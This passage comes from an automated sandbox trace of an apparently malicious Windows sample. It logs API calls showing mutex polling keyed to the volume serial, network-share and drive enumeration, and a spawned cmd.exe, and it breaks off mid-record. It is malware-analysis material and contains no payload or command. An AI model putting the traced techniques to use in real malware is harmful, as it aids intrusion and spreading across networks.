lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x283fed0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x283fed0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0105.969] GetProcessHeap () returned 0x330000 [0105.969] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x367740 | out: hHeap=0x330000) returned 1 [0105.969] GetProcessHeap () returned 0x330000 [0105.969] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x40) returned 0x35fa40 [0105.969] GetProcessHeap () returned 0x330000 [0105.970] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3a) returned 0x35f4e8 [0105.970] GetProcessHeap () returned 0x330000 [0105.970] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x35f4e8, Size=0x72) returned 0x33a310 [0105.970] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x2cc [0105.970] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0105.970] CloseHandle (hObject=0x2cc) returned 1 [0105.970] GetProcessHeap () returned 0x330000 [0105.970] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x35fa40 | out: hHeap=0x330000) returned 1 [0105.970] GetProcessHeap () returned 0x330000 [0105.970] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33a310 | out: hHeap=0x330000) returned 1 [0105.970] Sleep (dwMilliseconds=0x3e8) [0109.547] GetProcessHeap () returned 0x330000 [0109.547] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20) returned 0x3676c8 [0109.547] GetProcessHeap () returned 0x330000 [0109.547] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1e) returned 0x367650 [0109.547] GetProcessHeap () returned 0x330000 [0109.547] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x1e) returned 0x3674c0 [0109.547] GetProcessHeap () returned 0x330000 [0109.547] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x33ace8 [0109.547] GetProcessHeap () returned 0x330000 [0109.547] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33ace8 | out: hHeap=0x330000) returned 1 [0109.547] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x367650, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0109.547] GetProcessHeap () returned 0x330000 [0109.547] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3674c0 | out: hHeap=0x330000) returned 1 [0109.547] GetProcessHeap () returned 0x330000 [0109.547] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3676c8 | out: hHeap=0x330000) returned 1 [0109.547] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x283fed0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x283fed0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0109.548] GetProcessHeap () returned 0x330000 [0109.548] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x367650 | out: hHeap=0x330000) returned 1 [0109.548] GetProcessHeap () returned 0x330000 [0109.548] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x40) returned 0x35ee70 [0109.548] GetProcessHeap () returned 0x330000 [0109.548] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3a) returned 0x35ed50 [0109.548] GetProcessHeap () returned 0x330000 [0109.548] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x35ed50, Size=0x72) returned 0x33a310 [0109.548] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x2d0 [0109.548] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0109.548] CloseHandle (hObject=0x2d0) returned 1 [0109.548] GetProcessHeap () returned 0x330000 [0109.548] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x35ee70 | out: hHeap=0x330000) returned 1 [0109.548] GetProcessHeap () returned 0x330000 [0109.548] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33a310 | out: hHeap=0x330000) returned 1 [0109.548] Sleep (dwMilliseconds=0x3e8) [0110.803] GetProcessHeap () returned 0x330000 [0110.803] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20) returned 0x367650 [0110.803] GetProcessHeap () returned 0x330000 [0110.803] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1e) returned 0x3677b8 [0110.804] GetProcessHeap () returned 0x330000 [0110.804] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x1e) returned 0x3674c0 [0110.804] GetProcessHeap () returned 0x330000 [0110.804] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x34c820 [0110.804] GetProcessHeap () returned 0x330000 [0110.804] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c820 | out: hHeap=0x330000) returned 1 [0110.804] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x3677b8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0110.804] GetProcessHeap () returned 0x330000 [0110.804] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3674c0 | out: hHeap=0x330000) returned 1 [0110.804] GetProcessHeap () returned 0x330000 [0110.804] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x367650 | out: hHeap=0x330000) returned 1 [0110.804] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x283fed0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x283fed0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0110.804] GetProcessHeap () returned 0x330000 [0110.804] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3677b8 | out: hHeap=0x330000) returned 1 [0110.804] GetProcessHeap () returned 0x330000 [0110.805] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x40) returned 0x33dd90 [0110.805] GetProcessHeap () returned 0x330000 [0110.805] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3a) returned 0x35fad0 [0110.805] GetProcessHeap () returned 0x330000 [0110.805] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x35fad0, Size=0x72) returned 0x33a310 [0110.805] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x234 [0110.805] WaitForSingleObject (hHandle=0x234, dwMilliseconds=0x0) returned 0x102 [0110.805] CloseHandle (hObject=0x234) returned 1 [0110.805] GetProcessHeap () returned 0x330000 [0110.805] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33dd90 | out: hHeap=0x330000) returned 1 [0110.805] GetProcessHeap () returned 0x330000 [0110.805] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33a310 | out: hHeap=0x330000) returned 1 [0110.805] Sleep (dwMilliseconds=0x3e8) [0111.891] GetProcessHeap () returned 0x330000 [0111.891] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20) returned 0x367808 [0111.892] GetProcessHeap () returned 0x330000 [0111.892] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1e) returned 0x3676c8 [0111.892] GetProcessHeap () returned 0x330000 [0111.892] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x1e) returned 0x3674c0 [0111.892] GetProcessHeap () returned 0x330000 [0111.892] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x34c820 [0111.892] GetProcessHeap () returned 0x330000 [0111.892] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c820 | out: hHeap=0x330000) returned 1 [0111.892] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x3676c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0111.892] GetProcessHeap () returned 0x330000 [0111.892] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3674c0 | out: hHeap=0x330000) returned 1 [0111.892] GetProcessHeap () returned 0x330000 [0111.892] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x367808 | out: hHeap=0x330000) returned 1 [0111.892] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x283fed0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x283fed0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0111.892] GetProcessHeap () returned 0x330000 [0111.893] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3676c8 | out: hHeap=0x330000) returned 1 [0111.893] GetProcessHeap () returned 0x330000 [0111.893] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x40) returned 0x33dd90 [0111.893] GetProcessHeap () returned 0x330000 [0111.893] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3a) returned 0x35f2a8 [0111.893] GetProcessHeap () returned 0x330000 [0111.893] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x35f2a8, Size=0x72) returned 0x33a310 [0111.893] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x234 [0111.893] WaitForSingleObject (hHandle=0x234, dwMilliseconds=0x0) returned 0x102 [0112.293] CloseHandle (hObject=0x234) returned 1 [0112.293] GetProcessHeap () returned 0x330000 [0112.293] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33dd90 | out: hHeap=0x330000) returned 1 [0112.293] GetProcessHeap () returned 0x330000 [0112.293] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33a310 | out: hHeap=0x330000) returned 1 [0112.293] Sleep (dwMilliseconds=0x3e8) [0114.581] GetProcessHeap () returned 0x330000 [0114.581] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20) returned 0x367880 [0114.581] GetProcessHeap () returned 0x330000 [0114.581] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1e) returned 0x3676f0 [0114.581] GetProcessHeap () returned 0x330000 [0114.581] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x1e) returned 0x367628 [0114.581] GetProcessHeap () returned 0x330000 [0114.581] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x34c820 [0114.581] GetProcessHeap () returned 0x330000 [0114.581] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c820 | out: hHeap=0x330000) returned 1 [0114.581] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x3676f0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0114.581] GetProcessHeap () returned 0x330000 [0114.581] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x367628 | out: hHeap=0x330000) returned 1 [0114.581] GetProcessHeap () returned 0x330000 [0114.581] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x367880 | out: hHeap=0x330000) returned 1 [0114.581] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x283fed0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x283fed0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0114.582] GetProcessHeap () returned 0x330000 [0114.582] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3676f0 | out: hHeap=0x330000) returned 1 [0114.582] GetProcessHeap () returned 0x330000 [0114.582] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x40) returned 0x33dd90 [0114.582] GetProcessHeap () returned 0x330000 [0114.582] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3a) returned 0x35f338 [0114.582] GetProcessHeap () returned 0x330000 [0114.582] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x35f338, Size=0x72) returned 0x33a310 [0114.582] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x234 [0114.582] WaitForSingleObject (hHandle=0x234, dwMilliseconds=0x0) returned 0x102 [0114.582] CloseHandle (hObject=0x234) returned 1 [0114.582] GetProcessHeap () returned 0x330000 [0114.582] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33dd90 | out: hHeap=0x330000) returned 1 [0114.583] GetProcessHeap () returned 0x330000 [0114.583] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33a310 | out: hHeap=0x330000) returned 1 [0114.583] Sleep (dwMilliseconds=0x3e8) Thread: id = 8 os_tid = 0x1148 [0080.241] GetProcessHeap () returned 0x330000 [0080.241] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x21a) returned 0x34e988 [0080.241] GetProcessHeap () returned 0x330000 [0080.241] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x28) returned 0x340550 [0080.241] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x238 [0080.241] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x23c [0080.242] GetComputerNameW (in: lpBuffer=0x34e998, nSize=0x297fed8 | out: lpBuffer="NQDPDE", nSize=0x297fed8) returned 1 [0080.242] GetProcessHeap () returned 0x330000 [0080.242] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20) returned 0x34a658 [0080.242] GetProcessHeap () returned 0x330000 [0080.242] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x4000) returned 0x34ebb0 [0080.242] GetProcessHeap () returned 0x330000 [0080.242] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10000) returned 0x352bb8 [0080.243] WNetOpenEnumW (in: dwScope=0x1, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x297fe90 | out: lphEnum=0x297fe90*=0x33a5a0) returned 0x0 [0083.393] WNetEnumResourceW (in: hEnum=0x33a5a0, lpcCount=0x297fe88, lpBuffer=0x34ebb0, lpBufferSize=0x297fe94 | out: lpcCount=0x297fe88, lpBuffer=0x34ebb0, lpBufferSize=0x297fe94) returned 0x103 [0083.393] WNetCloseEnum (hEnum=0x33a5a0) returned 0x0 [0083.393] GetProcessHeap () returned 0x330000 [0083.393] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34ebb0 | out: hHeap=0x330000) returned 1 [0083.393] GetProcessHeap () returned 0x330000 [0083.393] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x352bb8 | out: hHeap=0x330000) returned 1 [0083.393] GetProcessHeap () returned 0x330000 [0083.393] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x4000) returned 0x367c48 [0083.393] GetProcessHeap () returned 0x330000 [0083.394] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10000) returned 0x34ebb0 [0083.394] WNetOpenEnumW (in: dwScope=0x4, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x297fe78 | out: lphEnum=0x297fe78*=0x34c928) returned 0x0 [0083.394] WNetEnumResourceW (in: hEnum=0x34c928, lpcCount=0x297fe70, lpBuffer=0x367c48, lpBufferSize=0x297fe7c | out: lpcCount=0x297fe70, lpBuffer=0x367c48, lpBufferSize=0x297fe7c) returned 0x103 [0083.395] WNetCloseEnum (hEnum=0x34c928) returned 0x0 [0083.395] GetProcessHeap () returned 0x330000 [0083.395] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x367c48 | out: hHeap=0x330000) returned 1 [0083.395] GetProcessHeap () returned 0x330000 [0083.395] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34ebb0 | out: hHeap=0x330000) returned 1 [0083.395] GetProcessHeap () returned 0x330000 [0083.395] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x4000) returned 0x367c48 [0083.395] GetProcessHeap () returned 0x330000 [0083.395] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10000) returned 0x34ebb0 [0083.395] WNetOpenEnumW (in: dwScope=0x5, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x297fe60 | out: lphEnum=0x297fe60*=0x33a5a0) returned 0x0 [0109.549] WNetEnumResourceW (in: hEnum=0x33a5a0, lpcCount=0x297fe58, lpBuffer=0x367c48, lpBufferSize=0x297fe64 | out: lpcCount=0x297fe58, lpBuffer=0x367c48, lpBufferSize=0x297fe64) returned 0x0 [0109.550] GetProcessHeap () returned 0x330000 [0109.550] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x4000) returned 0x36bc50 [0109.550] GetProcessHeap () returned 0x330000 [0109.550] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10000) returned 0x36fc58 [0109.550] WNetOpenEnumW (dwScope=0x5, dwType=0x0, dwUsage=0x0, lpNetResource=0x367c48, lphEnum=0x297fe20) Thread: id = 9 os_tid = 0x1144 [0080.249] GetLogicalDrives () returned 0x4 [0080.249] GetProcessHeap () returned 0x330000 [0080.249] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x40) returned 0x33dac0 [0080.249] GetProcessHeap () returned 0x330000 [0080.250] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x28) returned 0x3406a0 [0080.250] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x244 [0080.250] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x248 [0080.250] GetProcessHeap () returned 0x330000 [0080.250] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20) returned 0x34a748 [0080.250] GetProcessHeap () returned 0x330000 [0080.250] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1e) returned 0x34a9c8 [0080.250] GetProcessHeap () returned 0x330000 [0080.250] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x1e) returned 0x34a9f0 [0080.250] GetProcessHeap () returned 0x330000 [0080.250] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x33a3e0 [0080.250] GetProcessHeap () returned 0x330000 [0080.250] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33a3e0 | out: hHeap=0x330000) returned 1 [0080.250] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x34a9c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0080.250] GetProcessHeap () returned 0x330000 [0080.250] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a9f0 | out: hHeap=0x330000) returned 1 [0080.250] GetProcessHeap () returned 0x330000 [0080.250] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a748 | out: hHeap=0x330000) returned 1 [0080.250] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2abfb5c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2abfb5c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0080.251] GetProcessHeap () returned 0x330000 [0080.251] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a9c8 | out: hHeap=0x330000) returned 1 [0080.251] WaitForSingleObject (hHandle=0x248, dwMilliseconds=0xffffffff) returned 0x0 [0080.251] CloseHandle (hObject=0x248) returned 1 [0080.251] CloseHandle (hObject=0x244) returned 1 [0080.251] GetProcessHeap () returned 0x330000 [0080.251] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3406a0 | out: hHeap=0x330000) returned 1 [0080.251] GetProcessHeap () returned 0x330000 [0080.251] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33dac0 | out: hHeap=0x330000) returned 1 [0080.251] GetProcessHeap () returned 0x330000 [0080.251] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c948 | out: hHeap=0x330000) returned 1 Thread: id = 10 os_tid = 0xe70 [0080.252] GetLogicalDrives () returned 0x4 [0080.252] GetProcessHeap () returned 0x330000 [0080.252] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20) returned 0x34a9c8 [0080.252] GetProcessHeap () returned 0x330000 [0080.252] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1e) returned 0x34a680 [0080.252] GetProcessHeap () returned 0x330000 [0080.252] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x1e) returned 0x34a798 [0080.252] GetProcessHeap () returned 0x330000 [0080.252] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x33a3e0 [0080.253] GetProcessHeap () returned 0x330000 [0080.253] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33a3e0 | out: hHeap=0x330000) returned 1 [0080.253] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x34a680, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0080.253] GetProcessHeap () returned 0x330000 [0080.253] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a798 | out: hHeap=0x330000) returned 1 [0080.253] GetProcessHeap () returned 0x330000 [0080.253] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a9c8 | out: hHeap=0x330000) returned 1 [0080.253] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2bff8a4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2bff8a4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0080.253] GetProcessHeap () returned 0x330000 [0080.253] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a680 | out: hHeap=0x330000) returned 1 [0080.253] GetProcessHeap () returned 0x330000 [0080.253] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x40) returned 0x33e060 [0080.253] GetProcessHeap () returned 0x330000 [0080.253] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x28) returned 0x3406a0 [0080.253] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x244 [0080.253] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x248 [0080.254] CloseHandle (hObject=0x248) returned 1 [0080.254] CloseHandle (hObject=0x244) returned 1 [0080.254] GetProcessHeap () returned 0x330000 [0080.254] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3406a0 | out: hHeap=0x330000) returned 1 [0080.254] GetProcessHeap () returned 0x330000 [0080.254] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33e060 | out: hHeap=0x330000) returned 1 [0080.254] GetProcessHeap () returned 0x330000 [0080.254] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cb68 | out: hHeap=0x330000) returned 1 Thread: id = 40 os_tid = 0xfa8 Thread: id = 41 os_tid = 0x12e4 Process: id = "3" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x97e5000" os_pid = "0xef0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x112c" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 13 os_tid = 0x1174 [0101.201] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff75b7e0000 [0101.201] __set_app_type (_Type=0x1) [0101.201] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff75b7f6d00) returned 0x0 [0101.201] __getmainargs (in: _Argc=0x7ff75b819200, _Argv=0x7ff75b819208, _Env=0x7ff75b819210, _DoWildCard=0, _StartInfo=0x7ff75b81921c | out: _Argc=0x7ff75b819200, _Argv=0x7ff75b819208, _Env=0x7ff75b819210) returned 0 [0101.202] _onexit (_Func=0x7ff75b7f7fd0) returned 0x7ff75b7f7fd0 [0101.202] _onexit (_Func=0x7ff75b7f7fe0) returned 0x7ff75b7f7fe0 [0101.202] _onexit (_Func=0x7ff75b7f7ff0) returned 0x7ff75b7f7ff0 [0101.202] _onexit (_Func=0x7ff75b7f8000) returned 0x7ff75b7f8000 [0101.202] _onexit (_Func=0x7ff75b7f8010) returned 0x7ff75b7f8010 [0101.203] _onexit (_Func=0x7ff75b7f8020) returned 0x7ff75b7f8020 [0101.203] GetCurrentThreadId () returned 0x1174 [0101.203] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x1174) returned 0x70 [0101.203] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffce9120000 [0101.203] GetProcAddress (hModule=0x7ffce9120000, lpProcName="SetThreadUILanguage") returned 0x7ffce913a990 [0101.203] SetThreadUILanguage (LangId=0x0) returned 0x409 [0101.607] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0101.608] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x70c73ffcc8 | out: phkResult=0x70c73ffcc8*=0x0) returned 0x2 [0101.608] VirtualQuery (in: lpAddress=0x70c73ffcb4, lpBuffer=0x70c73ffc30, dwLength=0x30 | out: lpBuffer=0x70c73ffc30*(BaseAddress=0x70c73ff000, AllocationBase=0x70c7300000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0101.608] VirtualQuery (in: lpAddress=0x70c7300000, lpBuffer=0x70c73ffc30, dwLength=0x30 | out: lpBuffer=0x70c73ffc30*(BaseAddress=0x70c7300000, AllocationBase=0x70c7300000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0101.608] VirtualQuery (in: lpAddress=0x70c7301000, lpBuffer=0x70c73ffc30, dwLength=0x30 | out: lpBuffer=0x70c73ffc30*(BaseAddress=0x70c7301000, AllocationBase=0x70c7300000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0101.608] VirtualQuery (in: lpAddress=0x70c7304000, lpBuffer=0x70c73ffc30, dwLength=0x30 | out: lpBuffer=0x70c73ffc30*(BaseAddress=0x70c7304000, AllocationBase=0x70c7300000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0101.608] VirtualQuery (in: lpAddress=0x70c7400000, lpBuffer=0x70c73ffc30, dwLength=0x30 | out: lpBuffer=0x70c73ffc30*(BaseAddress=0x70c7400000, AllocationBase=0x70c7400000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0x1b6000, State=0x2000, 